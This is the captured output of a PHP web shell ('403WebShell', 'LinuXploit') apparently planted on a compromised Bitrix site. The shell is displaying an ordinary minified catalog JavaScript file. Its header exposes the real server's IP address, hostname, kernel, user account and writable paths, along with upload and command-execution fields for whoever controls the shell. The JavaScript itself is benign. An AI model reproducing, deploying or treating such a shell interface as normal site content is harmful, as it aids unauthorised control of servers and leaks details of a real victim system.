%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.221.234.179
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/catalog.productcard.iblocksectionfield/templates/.default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/catalog.productcard.iblocksectionfield/templates/.default/script.min.js
(function(e,t,i){"use strict";var s=function(){function e(){var t=arguments.length>0&&arguments[0]!==undefined?arguments[0]:{};babelHelpers.classCallCheck(this,e);this.selectorId=t.selectorId;this.selectorHiddenId=t.selectorHiddenId;this.selectedItems=t.selectedItems;this.iblockId=t.iblockId;this.initSelector()}babelHelpers.createClass(e,[{key:"initSelector",value:function e(){if(!this.selector){this.selector=new BX.UI.EntitySelector.TagSelector({id:this.selectorId,multiple:true,placeholder:t.Loc.getMessage("CATALOG_IBLOCKSECTIONFIELD_PLACEHOLDER"),textBoxWidth:"100%",dialogOptions:{height:300,id:this.selectorId,context:"catalog-sections",enableSearch:false,multiple:false,dropdownMode:true,selectedItems:this.selectedItems,searchTabOptions:{stub:true,stubOptions:{title:t.Loc.getMessage("CATALOG_IBLOCKSECTIONFIELD_IS_EMPTY_TITLE"),subtitle:t.Loc.getMessage("CATALOG_IBLOCKSECTIONFIELD_IS_EMPTY_SUBTITLE"),arrow:true}},searchOptions:{allowCreateItem:true},events:{"Item:onSelect":this.setSelectedInputs.bind(this,"Item:onSelect"),"Item:onDeselect":this.setSelectedInputs.bind(this,"Item:onDeselect"),"Search:onItemCreateAsync":this.addNewSection.bind(this)},entities:[{id:"section",options:{iblockId:this.iblockId},dynamicSearch:true,dynamicLoad:true}]}})}this.selector.renderTo(document.getElementById(this.selectorId))}},{key:"setSelectedInputs",value:function e(t,s){s.target.hide();var n=s.getData().item.getDialog().getSelectedItems();if(Array.isArray(n)){var c="";var o=[];n.forEach(function(e){c+='<input type="hidden" name="IBLOCK_SECTION[]" value="'+e["id"]+'" />';o.push(e["id"])});document.getElementById(this.selectorHiddenId).innerHTML=c;i.EventEmitter.emit(t,o)}}},{key:"addNewSection",value:function e(i){return new Promise(function(e,s){var n=i.getData(),c=n.searchQuery;var o=i.getTarget();t.ajax.runComponentAction("bitrix:catalog.productcard.iblocksectionfield","addSection",{mode:"ajax",data:{iblockId:this.iblockId,name:c.getQuery()}}).then(function(e){var t=o.addItem({id:e.data.id,entityId:"tag",title:c.getQuery(),tabs:o.getRecentTab().getId()});if(t){t.select()}}).bind(this);e()}.bind(this))}}]);return e}();t.Reflection.namespace("BX.Catalog").SectionSelector=s})(this.window=this.window||{},BX,BX.Event);
//# sourceMappingURL=script.map.js

Youez - 2016 - github.com/yon3zu
LinuXploit